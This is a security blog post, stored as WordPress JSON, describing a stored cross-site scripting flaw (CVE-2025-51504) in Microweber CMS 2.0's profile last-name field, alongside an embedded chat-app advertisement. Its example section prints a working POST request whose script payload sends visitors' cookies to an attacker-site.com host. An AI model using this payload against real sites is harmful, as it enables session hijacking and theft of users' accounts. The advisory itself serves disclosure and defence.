{"id":86020,"date":"2025-12-12T07:12:40","date_gmt":"2025-12-12T07:12:40","guid":{"rendered":""},"modified":"-0001-11-30T00:00:00","modified_gmt":"-0001-11-30T06:00:00","slug":"cve-2025-51504-cross-site-scripting-vulnerability-in-microweber-cms-2-0","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-51504-cross-site-scripting-vulnerability-in-microweber-cms-2-0\/","title":{"rendered":"<strong>CVE-2025-51504: Cross-Site Scripting Vulnerability in Microweber CMS 2.0<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The CVE-2025-51504 vulnerability pertains to a Cross-Site Scripting (XSS) flaw found in Microweber CMS 2.0. This vulnerability affects the &#8216;\/projects\/profile&#8217; homepage endpoint via the last name field. The implications of this vulnerability are significant, potentially leading to a system compromise and data leakage. Any system or entity utilizing Microweber CMS 2.0 should be aware of this vulnerability and take immediate corrective action.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-51504<br \/>\nSeverity: High (7.6 CVSS Score)<br \/>\nAttack Vector: Remote Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: System compromise and data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-186657128\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Microweber CMS | 2.0<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>An attacker can exploit this vulnerability by injecting malicious scripts into the last name field on the affected endpoint. When other users or administrators view these injected scripts, the scripts get executed within the context of their user session. This could allow the attacker to hijack user sessions, deface web sites, or redirect the user to malicious sites.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-2221120224\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Here&#8217;s a conceptual example of how an attacker might exploit this vulnerability:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/projects\/profile HTTP\/1.1\nHost: vulnerable-site.com\nContent-Type: application\/x-www-form-urlencoded\nlast_name=&lt;script&gt;new Image().src=&#039;http:\/\/attacker-site.com\/steal.php?cookie=&#039;+document.cookie;&lt;\/script&gt;<\/code><\/pre>\n<p>In this example, the attacker sends a POST request to the vulnerable endpoint (&#8216;\/projects\/profile&#8217;) with a malicious payload in the last_name field. This script, when executed, would send the user&#8217;s cookie to the attacker&#8217;s server, effectively allowing the attacker to hijack the user&#8217;s session.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The CVE-2025-51504 vulnerability pertains to a Cross-Site Scripting (XSS) flaw found in Microweber CMS 2.0. This vulnerability affects the &#8216;\/projects\/profile&#8217; homepage endpoint via the last name field. The implications of this vulnerability are significant, potentially leading to a system compromise and data leakage. Any system or entity utilizing Microweber CMS 2.0 should be aware [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-86020","post","type-post","status-publish","format-standard","hentry"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86020","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=86020"}],"version-history":[{"count":0,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/86020\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=86020"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=86020"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=86020"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=86020"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=86020"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=86020"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=86020"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=86020"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=86020"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}